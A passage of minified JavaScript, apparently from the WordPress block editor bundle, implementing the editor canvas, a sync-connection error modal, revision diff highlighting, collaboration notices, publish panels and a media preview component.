i.addEventListener(&quot;pointerdown&quot;,n),()=&gt;{i.removeEventListener(&quot;pointerdown&quot;,n)}},[t]);return e?[r,Lke]:[]}var Uk=s(O(),1),Pee=s(he(),1),uN=s($(),1);function kee(){let{getEditedContentOnlySection:e}=N((0,Uk.useSelect)(uN.store)),{stopEditingContentOnlySection:t}=N((0,Uk.useDispatch)(uN.store));return(0,Pee.useRefEffect)(r=&gt;{function o(n){let i=e();if(!i)return;!n.target.closest(`[data-block=&quot;${i}&quot;]`)&amp;&amp;!n.defaultPrevented&amp;&amp;(n.preventDefault(),t())}return r.addEventListener(&quot;click&quot;,o),()=&gt;{r.removeEventListener(&quot;click&quot;,o)}},[e,t])}var Hk=s(O(),1),Ree=s(he(),1),Aee=s(Xe(),1),Gk=s(W(),1),Wk=s($(),1),tl=s(A(),1),Oee=s(mo(),1),pd=s(D(),1),ya=s(E(),1);var Bg=s(D(),1);function Eee(e){let[t,r]=(0,Bg.useState)(),o=(0,Bg.useRef)(!1);return(0,Bg.useEffect)(()=&gt;{if(!e)return;if(e.status===&quot;connected&quot;){r(void 0),o.current=!1;return}if(e.status!==&quot;disconnected&quot;||!e.willAutoRetryInMs)return;let{willAutoRetryInMs:n}=e,i=Date.now()+n,a=o.current;o.current=!0,a&amp;&amp;r(0);let l=null,c=()=&gt;{r(Math.ceil((i-Date.now())/1e3)),l=setInterval(()=&gt;{let d=Math.ceil((i-Date.now())/1e3);r(Math.max(0,d)),d&lt;=0&amp;&amp;l&amp;&amp;clearInterval(l)},1e3)},u=a?setTimeout(c,500):null;return u||c(),()=&gt;{u&amp;&amp;clearTimeout(u),l&amp;&amp;clearInterval(l)}},[e]),{onManualRetry:()=&gt;{r(0)},secondsRemaining:t}}var va=s(C(),1),{BlockCanvasCover:Vke}=N(Wk.privateApis),{retrySyncConnection:jke}=N(Gk.privateApis),zke=2e4;function Iee(){let[e,t]=(0,pd.useState)(!1),[r,o]=(0,pd.useState)(!1),[n,i]=(0,pd.useState)(!1),{connectionStatus:a,isCollaborationEnabled:l,postType:c}=(0,Hk.useSelect)(S=&gt;{let{getSyncConnectionStatus:x,getPostType:T}=N(S(Gk.store)),{getCurrentPostType:R,isCollaborationEnabledForCurrentPost:F}=N(S(w)),B=R();return{connectionStatus:x()||null,isCollaborationEnabled:F(),postType:B?T(B):null}},[]),{onManualRetry:u,secondsRemaining:d}=Eee(a),f=(0,Ree.useCopyToClipboard)(()=&gt;{let S=(0,Hk.select)(Wk.store).getBlocks();return(0,Aee.serialize)(S)});(0,pd.useEffect)(()=&gt;{let S=setTimeout(()=&gt;{t(!0)},zke);return()=&gt;clearTimeout(S)},[]),(0,pd.useEffect)(()=&gt;{a?.status!==&quot;connecting&quot;&amp;&amp;i(a!==null&amp;&amp;&quot;canManuallyRetry&quot;in a&amp;&amp;a.canManuallyRetry===!0)},[a]);let m=a&amp;&amp;a.status===&quot;disconnected&quot;&amp;&amp;(a.canManuallyRetry||a.willAutoRetryInMs);if((0,pd.useEffect)(()=&gt;{if(a?.status===&quot;connected&quot;){o(!1);return}a?.status&amp;&amp;a.status!==&quot;connecting&quot;&amp;&amp;(!m||a.backgroundRetriesFailed)&amp;&amp;o(!0)},[a,m]),!l||!e||!r)return null;let h=a&amp;&amp;&quot;error&quot;in a?a?.error:void 0;if(!m&amp;&amp;(0,Oee.applyFilters)(&quot;editor.isSyncConnectionErrorHandled&quot;,!1,h?.code)!==!1)return null;let g=n?()=&gt;{u(),jke()}:void 0,v=qZ(h),y=&quot;&quot;,b=!1;d&amp;&amp;d&gt;0?y=(0,ya.sprintf)((0,ya._n)(&quot;Retrying connection in %d second\u2026&quot;,&quot;Retrying connection in %d seconds\u2026&quot;,d),d):d===0&amp;&amp;(b=!0,y=(0,ya.__)(&quot;Retrying\u2026&quot;));let _=&quot;edit.php&quot;;return c?.slug&amp;&amp;(_=`edit.php?post_type=${c.slug}`),(0,va.jsx)(Vke.Fill,{children:(0,va.jsx)(tl.Modal,{overlayClassName:&quot;editor-sync-connection-error-modal&quot;,isDismissible:!1,onRequestClose:()=&gt;{},shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,size:&quot;medium&quot;,title:v.title,children:(0,va.jsxs)(tl.__experimentalVStack,{spacing:6,children:[(0,va.jsx)(&quot;p&quot;,{children:v.description}),y&amp;&amp;(0,va.jsx)(&quot;p&quot;,{className:&quot;editor-sync-connection-error-modal__retry-countdown&quot;,children:y}),(0,va.jsxs)(tl.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,va.jsx)(tl.Button,{__next40pxDefaultSize:!0,href:_,isDestructive:!0,variant:&quot;tertiary&quot;,children:(0,ya.sprintf)((0,ya.__)(&quot;Back to %s&quot;),c?.labels?.name??(0,ya.__)(&quot;Posts&quot;))}),(0,va.jsx)(tl.Button,{__next40pxDefaultSize:!0,ref:f,variant:g?&quot;secondary&quot;:&quot;primary&quot;,children:(0,ya.__)(&quot;Copy Post Content&quot;)}),g&amp;&amp;(0,va.jsx)(tl.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,&quot;aria-disabled&quot;:b,disabled:b,isBusy:b,variant:&quot;primary&quot;,onClick:g,children:(0,ya.__)(&quot;Retry&quot;)})]})]})})})}var Ao=s(C(),1),{LayoutStyle:Yk,useLayoutClasses:Uke,useLayoutStyles:Hke,ExperimentalBlockCanvas:Gke,useFlashEditableBlocks:Wke}=N(fn.privateApis);function fN(e){for(let t=0;t&lt;e.length;t++){if(e[t].name===&quot;core/post-content&quot;)return e[t].attributes;if(e[t].innerBlocks.length){let r=fN(e[t].innerBlocks);if(r)return r}}}function Nee(e){for(let t=0;t&lt;e.length;t++)if(e[t].name===&quot;core/post-content&quot;)return!0;return!1}function Yke({autoFocus:e,disableIframe:t=!1,iframeProps:r,contentRef:o,className:n}){let i=(0,Zk.useViewportMatch)(&quot;small&quot;,&quot;&lt;&quot;),{renderingMode:a,postContentAttributes:l,editedPostTemplate:c={},wrapperBlockName:u,wrapperUniqueId:d,deviceType:f,isFocusedEntity:m,isDesignPostType:h,postType:g,isPreview:v,styles:y,canvasMinHeight:b}=(0,qk.useSelect)(ze=&gt;{let{getCurrentPostId:Ve,getCurrentPostType:tt,getCurrentTemplateId:vt,getEditorSettings:le,getRenderingMode:J,getDeviceType:ie,getCanvasMinHeight:ee}=N(ze(w)),{getPostType:se,getEditedEntityRecord:Ue}=ze(Fee.store),ke=tt(),Be=J(),Je;ke===qi?Je=&quot;core/block&quot;:Be===&quot;post-only&quot;&amp;&amp;(Je=&quot;core/post-content&quot;);let Fe=le(),Se=Fe.supportsTemplateMode,yt=se(ke),Jr=vt(),bn=Jr?Ue(&quot;postType&quot;,xt,Jr):void 0;return{renderingMode:Be,postContentAttributes:Fe.postContentAttributes,isDesignPostType:Jc.includes(ke),editedPostTemplate:yt?.viewable&amp;&amp;Se?bn:void 0,wrapperBlockName:Je,wrapperUniqueId:Ve(),deviceType:ie(),isFocusedEntity:!!Fe.onNavigateToPreviousEntityRecord,postType:ke,isPreview:Fe.isPreviewMode,styles:Fe.styles,canvasMinHeight:ee()}},[]),{isCleanNewPost:_}=(0,qk.useSelect)(w),{hasRootPaddingAwareAlignments:S,themeHasDisabledLayoutStyles:x,themeSupportsLayout:T,isZoomedOut:R}=(0,qk.useSelect)(ze=&gt;{let{getSettings:Ve,isZoomOut:tt}=N(ze(fn.store)),vt=Ve();return{themeHasDisabledLayoutStyles:vt.disableLayoutStyles,themeSupportsLayout:vt.supportsLayout,hasRootPaddingAwareAlignments:vt.__experimentalFeatures?.useRootPaddingAwareAlignments,isZoomedOut:tt()}},[]),F=(0,Cs.useRef)(),B=(0,fn.__experimentalUseResizeCanvas)(f),[z]=(0,fn.useSettings)(&quot;layout&quot;),L=(0,Cs.useMemo)(()=&gt;a!==&quot;post-only&quot;||h?{type:&quot;default&quot;}:T?{...z,type:&quot;constrained&quot;}:{type:&quot;default&quot;},[a,T,z,h]),M=(0,Cs.useMemo)(()=&gt;{if(!c?.content&amp;&amp;!c?.blocks&amp;&amp;l)return l;if(c?.blocks)return fN(c?.blocks);let ze=typeof c?.content==&quot;string&quot;?c?.content:&quot;&quot;;return fN((0,dN.parse)(ze))||{}},[c?.content,c?.blocks,l]),k=(0,Cs.useMemo)(()=&gt;{if(!c?.content&amp;&amp;!c?.blocks)return!1;if(c?.blocks)return Nee(c?.blocks);let ze=typeof c?.content==&quot;string&quot;?c?.content:&quot;&quot;;return Nee((0,dN.parse)(ze))||!1},[c?.content,c?.blocks]),{layout:I={},align:U=&quot;&quot;}=M||{},G=Uke(M,&quot;core/post-content&quot;),Y=re({&quot;is-layout-flow&quot;:!T},T&amp;&amp;G,U&amp;&amp;`align${U}`),Z=Hke(M,&quot;core/post-content&quot;,&quot;.block-editor-block-list__layout.is-root-container&quot;),V=(0,Cs.useMemo)(()=&gt;I&amp;&amp;(I?.type===&quot;constrained&quot;||I?.inherit||I?.contentSize||I?.wideSize)?{...z,...I,type:&quot;constrained&quot;}:{...z,...I,type:&quot;default&quot;},[I?.type,I?.inherit,I?.contentSize,I?.wideSize,z]),j=l?V:L,H=j?.type===&quot;default&quot;&amp;&amp;!k?L:j,X=(0,fn.__unstableUseTypingObserver)(),ae=(0,Cs.useRef)();(0,Cs.useEffect)(()=&gt;{!e||!_()||ae?.current?.focus()},[e,_]);let ne=`.is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}
		.is-root-container.alignwide:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}
		.is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}
		.is-root-container.alignfull:where(.is-layout-flow) &gt; :not(.alignleft):not(.alignright) { max-width: none;}`,ue=[jd,Ur,qi].includes(g)&amp;&amp;!v&amp;&amp;!i&amp;&amp;!R,Ye=(0,Cs.useMemo)(()=&gt;{if(!F.current)return b;let{ownerDocument:ze}=F.current,Ve=ze.documentElement.scrollTop||ze.body.scrollTop;return b+Ve},[b]),[ye,oe]=Tee(!v&amp;&amp;a===&quot;post-only&quot;&amp;&amp;!h),ge=(0,Cs.useMemo)(()=&gt;[...y??[],{css:`:where(.block-editor-iframe__body){display:flow-root;${Ye?`min-height:${Ye}px;`:&quot;&quot;}}.is-root-container{display:flow-root;${ue?&quot;min-height:0!important;&quot;:&quot;&quot;}}
				${oe||&quot;&quot;}
				${ue?&quot;.block-editor-iframe__html{background:var(--wp-editor-canvas-background);display:flex;align-items:center;justify-content:center;min-height:100vh;}.block-editor-iframe__body{width:100%;}&quot;:&quot;&quot;}`}],[y,ue,Ye,oe]),Re=(0,fn.__unstableUseTypewriter)();return o=(0,Zk.useMergeRefs)([F,o,a===&quot;post-only&quot;?Re:null,Wke({isEnabled:a===&quot;template-locked&quot;}),bee({isEnabled:a===&quot;template-locked&quot;}),_ee(),ye,kee()]),(0,Ao.jsxs)(&quot;div&quot;,{className:re(&quot;editor-visual-editor&quot;,&quot;edit-post-visual-editor&quot;,n,{&quot;has-padding&quot;:m||ue,&quot;is-resizable&quot;:ue,&quot;is-iframed&quot;:!t}),children:[(0,Ao.jsx)(Iee,{}),(0,Ao.jsx)(Eh,{enableResizing:ue,height:&quot;100%&quot;,children:(0,Ao.jsxs)(Gke,{shouldIframe:!t,contentRef:o,styles:ge,height:&quot;100%&quot;,iframeProps:{...r,style:{...r?.style,...B}},children:[T&amp;&amp;!x&amp;&amp;a===&quot;post-only&quot;&amp;&amp;!h&amp;&amp;(0,Ao.jsxs)(Ao.Fragment,{children:[(0,Ao.jsx)(Yk,{selector:&quot;.editor-visual-editor__post-title-wrapper&quot;,layout:L}),(0,Ao.jsx)(Yk,{selector:&quot;.block-editor-block-list__layout.is-root-container&quot;,layout:H}),U&amp;&amp;(0,Ao.jsx)(Yk,{css:ne}),Z&amp;&amp;(0,Ao.jsx)(Yk,{layout:V,css:Z})]}),a===&quot;post-only&quot;&amp;&amp;!h&amp;&amp;(0,Ao.jsx)(&quot;div&quot;,{className:re(&quot;editor-visual-editor__post-title-wrapper&quot;,&quot;edit-post-visual-editor__post-title-wrapper&quot;,{&quot;has-global-padding&quot;:S}),contentEditable:!1,ref:X,style:{marginTop:&quot;4rem&quot;},children:(0,Ao.jsx)(BP,{ref:ae})}),(0,Ao.jsxs)(fn.RecursionProvider,{blockName:u,uniqueId:d,children:[(0,Ao.jsx)(fn.BlockList,{className:re(&quot;is-&quot;+f.toLowerCase()+&quot;-preview&quot;,a!==&quot;post-only&quot;||h?&quot;wp-site-blocks&quot;:`${Y} wp-block-post-content`,{&quot;has-global-padding&quot;:a===&quot;post-only&quot;&amp;&amp;!h&amp;&amp;S}),layout:j,dropZoneElement:t?F.current:F.current?.parentNode,__unstableDisableDropZone:a===&quot;template-locked&quot;}),a===&quot;template-locked&quot;&amp;&amp;(0,Ao.jsx)(gee,{contentRef:F})]})]})})]})}var Kk=Yke;var Mg=s(E(),1),Xk=s(Wy(),1),Dee=[{name:&quot;revision/diff-removed&quot;,title:(0,Mg.__)(&quot;Removed&quot;),tagName:&quot;del&quot;,className:&quot;revision-diff-removed&quot;},{name:&quot;revision/diff-added&quot;,title:(0,Mg.__)(&quot;Added&quot;),tagName:&quot;ins&quot;,className:&quot;revision-diff-added&quot;},{name:&quot;revision/diff-format-added&quot;,title:(0,Mg.__)(&quot;Format added&quot;),tagName:&quot;span&quot;,className:&quot;revision-diff-format-added&quot;},{name:&quot;revision/diff-format-removed&quot;,title:(0,Mg.__)(&quot;Format removed&quot;),tagName:&quot;span&quot;,className:&quot;revision-diff-format-removed&quot;},{name:&quot;revision/diff-format-changed&quot;,title:(0,Mg.__)(&quot;Format changed&quot;),tagName:&quot;span&quot;,className:&quot;revision-diff-format-changed&quot;}];function Bee(){for(let e of Dee)(0,Xk.registerFormatType)(e.name,{...e,attributes:{title:&quot;title&quot;},edit:()=&gt;null})}function Mee(){for(let e of Dee)(0,Xk.unregisterFormatType)(e.name)}var Ui=s(D(),1),Qk=s(he(),1),Vee=s(O(),1),Jk=s($(),1),H0=s(E(),1),jee=s(A(),1);var G0=s(C(),1),{useBlockElementRef:qke}=N(Jk.privateApis);function zee(e){let t=[];for(let r of e)r.__revisionDiffStatus?.status&amp;&amp;t.push({clientId:r.clientId,status:r.__revisionDiffStatus.status}),r.innerBlocks?.length&amp;&amp;t.push(...zee(r.innerBlocks));return t}var Lee={added:(0,H0.__)(&quot;Go to added block&quot;),removed:(0,H0.__)(&quot;Go to removed block&quot;),modified:(0,H0.__)(&quot;Go to modified block&quot;)};function mN(e){if(!e)return null;let t=e.ownerDocument,r=t.documentElement.scrollHeight,o=e.getBoundingClientRect(),n=t.documentElement.scrollTop;return{top:(o.top+n)/r*100,height:o.height/r*100}}function Zke({clientId:e,status:t,subscribe:r}){let o=(0,Ui.useRef)();qke(e,o);let[n,i]=(0,Ui.useState)(()=&gt;mN(o.current));return(0,Ui.useEffect)(()=&gt;r(()=&gt;{i(mN(o.current))}),[r]),(0,Ui.useEffect)(()=&gt;{i(mN(o.current))},[t]),n?(0,G0.jsx)(jee.Tooltip,{text:Lee[t],children:(0,G0.jsx)(&quot;button&quot;,{className:`revision-diff-marker is-${t}`,style:{top:`${n.top}%`,height:`${Math.max(n.height,.5)}%`},onClick:()=&gt;o.current?.focus(),&quot;aria-label&quot;:Lee[t]})}):null}function Uee(){let[e,t]=(0,Ui.useState)(!1),r=(0,Ui.useRef)(new Set),o=(0,Vee.useSelect)(l=&gt;l(Jk.store).getBlocks(),[]),n=(0,Ui.useMemo)(()=&gt;zee(o),[o]),i=(0,Ui.useCallback)(l=&gt;(r.current.add(l),()=&gt;r.current.delete(l)),[]),a=(0,Qk.useRefEffect)(l=&gt;{let{ownerDocument:c}=l,{defaultView:u}=c,d=new u.ResizeObserver(()=&gt;{r.current.forEach(f=&gt;f())});return d.observe(c.body),()=&gt;{d.disconnect()}},[]);return[(0,Qk.useMergeRefs)([a,t]),(0,G0.jsx)(&quot;div&quot;,{className:&quot;revision-diff-markers&quot;,role:&quot;navigation&quot;,&quot;aria-label&quot;:(0,H0.__)(&quot;Document changes&quot;),children:e&amp;&amp;n.map(({clientId:l,status:c})=&gt;(0,G0.jsx)(Zke,{clientId:l,status:c,subscribe:i},l))},&quot;diff-markers&quot;)]}var pi=s(C(),1),{usePrivateStyleOverride:Hee}=N(Wee.privateApis),Kke=`
&lt;svg
	xmlns=&quot;http://www.w3.org/2000/svg&quot;
	viewBox=&quot;0 0 0 0&quot;
	width=&quot;0&quot;
	height=&quot;0&quot;
	focusable=&quot;false&quot;
	role=&quot;none&quot;
	aria-hidden=&quot;true&quot;
	style=&quot;visibility: hidden; position: absolute; left: -9999px; overflow: hidden;&quot;
&gt;
	&lt;defs&gt;
		&lt;filter id=&quot;revision-removed-filter&quot; x=&quot;0&quot; y=&quot;0&quot; width=&quot;100%&quot; height=&quot;100%&quot;&gt;
			&lt;!-- Desaturate and add red tint --&gt;
			&lt;feColorMatrix type=&quot;matrix&quot;
				values=&quot;0.5 0.3 0.2 0 0.15
				        0.2 0.2 0.1 0 0
				        0.2 0.2 0.1 0 0
				        0   0   0   0.8 0&quot;/&gt;
		&lt;/filter&gt;
	&lt;/defs&gt;
&lt;/svg&gt;
`,Xke=`
	.is-revision-added {
		box-shadow: inset 0 0 0 9999px color-mix(in srgb, currentColor 5%, #00a32a 15%), 0 0 0 4px color-mix(in srgb, currentColor 5%, #00a32a 15%);
	}
	.is-revision-removed,
	.revision-diff-removed {
		text-decoration: line-through;
		filter: url(#revision-removed-filter);
	}
	.is-revision-modified {
		outline: 2px solid color-mix(in srgb, currentColor 30%, #dba617 70%) !important;
		outline-offset: 2px;
	}
	.revision-diff-added {
		background-color: color-mix(in srgb, currentColor 5%, #00a32a 15%);
		text-decoration: none;
	}
	.revision-diff-format-added {
		text-decoration: underline wavy color-mix(in srgb, currentColor 30%, #00a32a 70%);
		text-decoration-thickness: 2px;
	}
	.revision-diff-format-removed {
		text-decoration: underline wavy color-mix(in srgb, currentColor 20%, #d63638 80%);
		text-decoration-thickness: 2px;
	}
	.revision-diff-format-changed {
		text-decoration: underline wavy color-mix(in srgb, currentColor 30%, #dba617 70%);
		text-decoration-thickness: 2px;
	}
`;function Qke(e){return t=&gt;{let{block:r,className:o}=t,n=r?.__revisionDiffStatus?.status,i=re(o,{&quot;is-revision-added&quot;:n===&quot;added&quot;,&quot;is-revision-removed&quot;:n===&quot;removed&quot;,&quot;is-revision-modified&quot;:n===&quot;modified&quot;});return(0,pi.jsx)(e,{...t,className:i})}}var Jke=&quot;editor/revisions-canvas/withRevisionDiffClasses&quot;;(0,Zee.addFilter)(&quot;editor.BlockListBlock&quot;,Jke,Qke);function $ke({showDiff:e}){return Hee({css:e?Xke:&quot;&quot;}),Hee({assets:e?Kke:&quot;&quot;,__unstableType:&quot;svgs&quot;}),null}function e2e({showDiff:e}){let[t,r]=Uee();return(0,pi.jsxs)(pi.Fragment,{children:[(0,pi.jsx)(Kk,{contentRef:t}),e&amp;&amp;r]})}function pN(){(0,qee.useEffect)(()=&gt;(Bee(),()=&gt;{Mee()}),[]);let{revision:e,showDiff:t}=(0,Yee.useSelect)(r=&gt;{let{getCurrentRevision:o,isShowingRevisionDiff:n}=N(r(w));return{revision:o(),showDiff:n()}},[]);return e?(0,pi.jsxs)(pi.Fragment,{children:[(0,pi.jsx)($ke,{showDiff:t}),(0,pi.jsx)(&quot;div&quot;,{className:&quot;editor-revisions-canvas__content&quot;,children:(0,pi.jsx)(e2e,{showDiff:t})})]}):(0,pi.jsx)(&quot;div&quot;,{className:&quot;editor-revisions-canvas__loading&quot;,children:(0,pi.jsx)(Gee.Spinner,{})})}var e2=s(O(),1),$k=s(D(),1),Ts=s(E(),1),Kee=s(ct(),1),Xee=s(W(),1),Qee=s(lt(),1);var{useOnCollaboratorJoin:t2e,useOnCollaboratorLeave:r2e,useOnPostSave:o2e}=N(Xee.privateApis),hN={COLLAB_POST_UPDATED:&quot;collab-post-updated&quot;,COLLAB_USER_ENTERED:&quot;collab-user-entered&quot;,COLLAB_USER_EXITED:&quot;collab-user-exited&quot;},gN=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;];function n2e(e,t,r){return r?(0,Ts.sprintf)((0,Ts.__)(&quot;Post published by %s.&quot;),e):gN.includes(t)?(0,Ts.sprintf)((0,Ts.__)(&quot;Post updated by %s.&quot;),e):(0,Ts.sprintf)((0,Ts.__)(&quot;Draft saved by %s.&quot;),e)}function Jee(e,t){let{postStatus:r,isCollaborationEnabled:o,showNotifications:n}=(0,e2.useSelect)(u=&gt;{let{getCurrentPostAttribute:d,isCollaborationEnabledForCurrentPost:f}=N(u(w));return{postStatus:d(&quot;status&quot;),isCollaborationEnabled:f(),showNotifications:u(Qee.store).get(&quot;core&quot;,&quot;showCollaborationNotifications&quot;)??!0}},[]),{createNotice:i}=(0,e2.useDispatch)(Kee.store),a=o&amp;&amp;n,l=a?e:null,c=a?t:null;t2e(l,c,(0,$k.useCallback)((u,d)=&gt;{d&amp;&amp;u.collaboratorInfo.enteredAt&lt;d.collaboratorInfo.enteredAt||i(&quot;info&quot;,(0,Ts.sprintf)((0,Ts.__)(&quot;%s has joined the post.&quot;),u.collaboratorInfo.name),{id:`${hN.COLLAB_USER_ENTERED}-${u.collaboratorInfo.id}`,type:&quot;snackbar&quot;,isDismissible:!1})},[i])),r2e(l,c,(0,$k.useCallback)(u=&gt;{i(&quot;info&quot;,(0,Ts.sprintf)((0,Ts.__)(&quot;%s has left the post.&quot;),u.collaboratorInfo.name),{id:`${hN.COLLAB_USER_EXITED}-${u.collaboratorInfo.id}`,type:&quot;snackbar&quot;,isDismissible:!1})},[i])),o2e(l,c,(0,$k.useCallback)((u,d,f)=&gt;{if(!r)return;let m=u.postStatus??r??&quot;draft&quot;,h=f?.postStatus??r,g=!(h&amp;&amp;gN.includes(h))&amp;&amp;gN.includes(m),v=n2e(d.collaboratorInfo.name,m,g);i(&quot;info&quot;,v,{id:`${hN.COLLAB_POST_UPDATED}-${d.collaboratorInfo.id}`,type:&quot;snackbar&quot;,isDismissible:!1})},[i,r]))}var t2=s(O(),1),W0=s(A(),1),vN=s(E(),1),$ee=s(D(),1);var Ps=s(C(),1),{Fill:ilt,Slot:i2e}=(0,W0.createSlotFill)(&quot;ActionsPanel&quot;);function ete({setEntitiesSavedStatesCallback:e,closeEntitiesSavedStates:t,isEntitiesSavedStatesOpen:r,forceIsDirtyPublishPanel:o}){let{closePublishSidebar:n,togglePublishSidebar:i}=(0,t2.useDispatch)(w),{publishSidebarOpened:a,isPublishable:l,isDirty:c,hasOtherEntitiesChanges:u}=(0,t2.useSelect)(m=&gt;{let{isPublishSidebarOpened:h,isEditedPostPublishable:g,isCurrentPostPublished:v,isEditedPostDirty:y,hasNonPostEntityChanges:b}=m(w),_=b();return{publishSidebarOpened:h(),isPublishable:!v()&amp;&amp;g(),isDirty:_||y(),hasOtherEntitiesChanges:_}},[]),d=(0,$ee.useCallback)(()=&gt;e(!0),[]),f;return a?f=(0,Ps.jsx)(oP,{onClose:n,forceIsDirty:o,PrePublishExtension:XC.Slot,PostPublishExtension:YC.Slot}):l&amp;&amp;!u?f=(0,Ps.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-publish-panel&quot;,children:(0,Ps.jsx)(W0.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:i,&quot;aria-expanded&quot;:!1,children:(0,vN.__)(&quot;Open publish panel&quot;)})}):f=(0,Ps.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-entities-saved-states-panel&quot;,children:(0,Ps.jsx)(W0.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:d,&quot;aria-expanded&quot;:!1,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:!c,accessibleWhenDisabled:!0,children:(0,vN.__)(&quot;Open save panel&quot;)})}),(0,Ps.jsxs)(Ps.Fragment,{children:[r&amp;&amp;(0,Ps.jsx)(RC,{close:t,renderDialog:!0}),(0,Ps.jsx)(i2e,{bubblesVirtually:!0}),!r&amp;&amp;f]})}var tte=s(A(),1),r2=s(O(),1),yN=s(E(),1),rte=s(Oi(),1),o2=s(D(),1);var Dc=s(C(),1);function ote({autoFocus:e=!1}){let{switchEditorMode:t}=(0,r2.useDispatch)(w),{shortcut:r,isRichEditingEnabled:o}=(0,r2.useSelect)(i=&gt;{let{getEditorSettings:a}=i(w),{getShortcutRepresentation:l}=i(rte.store);return{shortcut:l(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:a().richEditingEnabled}},[]),n=(0,o2.useRef)();return(0,o2.useEffect)(()=&gt;{e||n?.current?.focus()},[e]),(0,Dc.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor&quot;,children:[o&amp;&amp;(0,Dc.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__toolbar&quot;,children:[(0,Dc.jsx)(&quot;h2&quot;,{children:(0,yN.__)(&quot;Editing code&quot;)}),(0,Dc.jsx)(tte.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;t(&quot;visual&quot;),shortcut:r,children:(0,yN.__)(&quot;Exit code editor&quot;)})]}),(0,Dc.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__body&quot;,children:[(0,Dc.jsx)(LP,{ref:n}),(0,Dc.jsx)(w0,{})]})]})}var n2=s(D(),1),nte=s(C(),1),ite=(0,n2.createContext)(void 0);function Y0({value:e,onChange:t,settings:r={},children:o}){let n={media:e,onChange:t,fields:r.fields||[]};return(0,nte.jsx)(ite.Provider,{value:n,children:o})}function i2(){let e=(0,n2.useContext)(ite);if(!e)throw new Error(&quot;useMediaEditorContext must be used within MediaEditorProvider&quot;);return e}var ste=s(A(),1),ate=s(D(),1),s2=s(E(),1);function bN(e){return e?e.startsWith(&quot;image/&quot;)?{type:&quot;image&quot;}:e.startsWith(&quot;video/&quot;)?{type:&quot;video&quot;}:e.startsWith(&quot;audio/&quot;)?{type:&quot;audio&quot;}:{type:&quot;application&quot;}:{type:&quot;application&quot;}}var Oo=s(C(),1);function s2e({mediaType:e,mediaUrl:t,altText:r,displayTitle:o,mimeType:n,onLoad:i,onError:a,loadingState:l}){switch(e.type){case&quot;image&quot;:return(0,Oo.jsx)(&quot;img&quot;,{className:l===&quot;loaded&quot;?&quot;loaded&quot;:&quot;&quot;,src:t,alt:r||&quot;&quot;,onLoad:i,onError:a});case&quot;video&quot;:return(0,Oo.jsx)(&quot;video&quot;,{src:t,controls:!0,onError:a,children:o});case&quot;audio&quot;:return(0,Oo.jsx)(&quot;audio&quot;,{src:t,controls:!0,onError:a,children:o});default:return(0,Oo.jsxs)(&quot;div&quot;,{className:&quot;media-editor-preview__file-info&quot;,children:[(0,Oo.jsx)(&quot;p&quot;,{className:&quot;media-editor-preview__file-name&quot;,children:o}),(0,Oo.jsx)(&quot;p&quot;,{className:&quot;media-editor-preview__mime-type&quot;,children:n}),(0,Oo.jsx)(&quot;a&quot;,{href:t,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,className:&quot;media-editor-preview__download-link&quot;,children:(0,s2.__)(&quot;View file&quot;)})]})}}function SN(e){let[t,r]=(0,ate.useState)(&quot;loading&quot;),{media:o}=i2(),{source_url:n,mime_type:i,alt_text:a,title:l}=o||{},c=bN(i);if(!n)return(0,Oo.jsx)(&quot;div&quot;,{className:&quot;media-editor-preview media-editor-preview--empty&quot;,children:(0,Oo.jsx)(&quot;p&quot;,{children:(0,s2.__)(&quot;No media file available.&quot;)})});if(t===&quot;error&quot;)return(0,Oo.jsxs)(&quot;div&quot;,{className:&quot;media-editor-preview media-editor-preview--error&quot;,children:[(0,Oo.jsx)(&quot;p&quot;,{children:(0,s2.__)(&quot;Failed to load media file.&quot;)}),(0,Oo.jsx)(&quot;p&quot;,{className:&quot;media-editor-preview__url&quot;,children:n})]});let u=typeof l==&quot;string&quot;?l:l?.rendered||l?.raw;return(0,Oo.jsxs)(&quot;div&quot;,{...e,className:`media-editor-preview media-editor-preview--${c.type}`,children:[c.type===&quot;image&quot;&amp;&amp;t===&quot;loading&quot;&amp;&amp;(0,Oo.jsx)(&quot;div&quot;,{className:&quot;media-editor-preview__spinner&quot;,children:(0,Oo.jsx)(ste.Spinner,{})}),(0,Oo.jsx)(s2e,{mediaType:c,mediaUrl:n,altText:a,displayTitle:u,mimeType:i,onLoad:()=&gt;r(&quot;loaded&quot;),onError:()=&gt;r(&quot;error&quot;),loadingState:t})]})}var _N=s(E(),1);var nr=&quot;isAny&quot;,ir=&quot;isNone&quot;,mn=&quot;isAll&quot;,pn=&quot;isNotAll&quot;,Vn=&quot;between&quot;,jn=&quot;inThePast&quot;,hi=&quot;over&quot;,yr=&quot;is&quot;,br=&quot;isNot&quot;,hd=&quot;lessThan&quot;,gd=&quot;greaterThan&quot;,vd=&quot;lessThanOrEqual&quot;,yd=&quot;greaterThanOrEqual&quot;,bd=&quot;before&quot;,Sd=&quot;after&quot;,_d=&quot;beforeInc&quot;,wd=&quot;afterInc&quot;,rl=&quot;contains&quot;,ol=&quot;notContains&quot;,nl=&quot;startsWith&quot;,xd=&quot;on&quot;,Cd=&quot;notOn&quot;;var ylt={asc:(0,_N.__)(&quot;Sort ascending&quot;),desc:(0,_N.__)(&quot;Sort descending&quot;)};var lte=s(qv(),1),{lock:Slt,unlock:Wt}=(0,lte.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/dataviews&quot;);var q0=s(D(),1),a2e=[];function gi({elements:e,getElements:t}){let 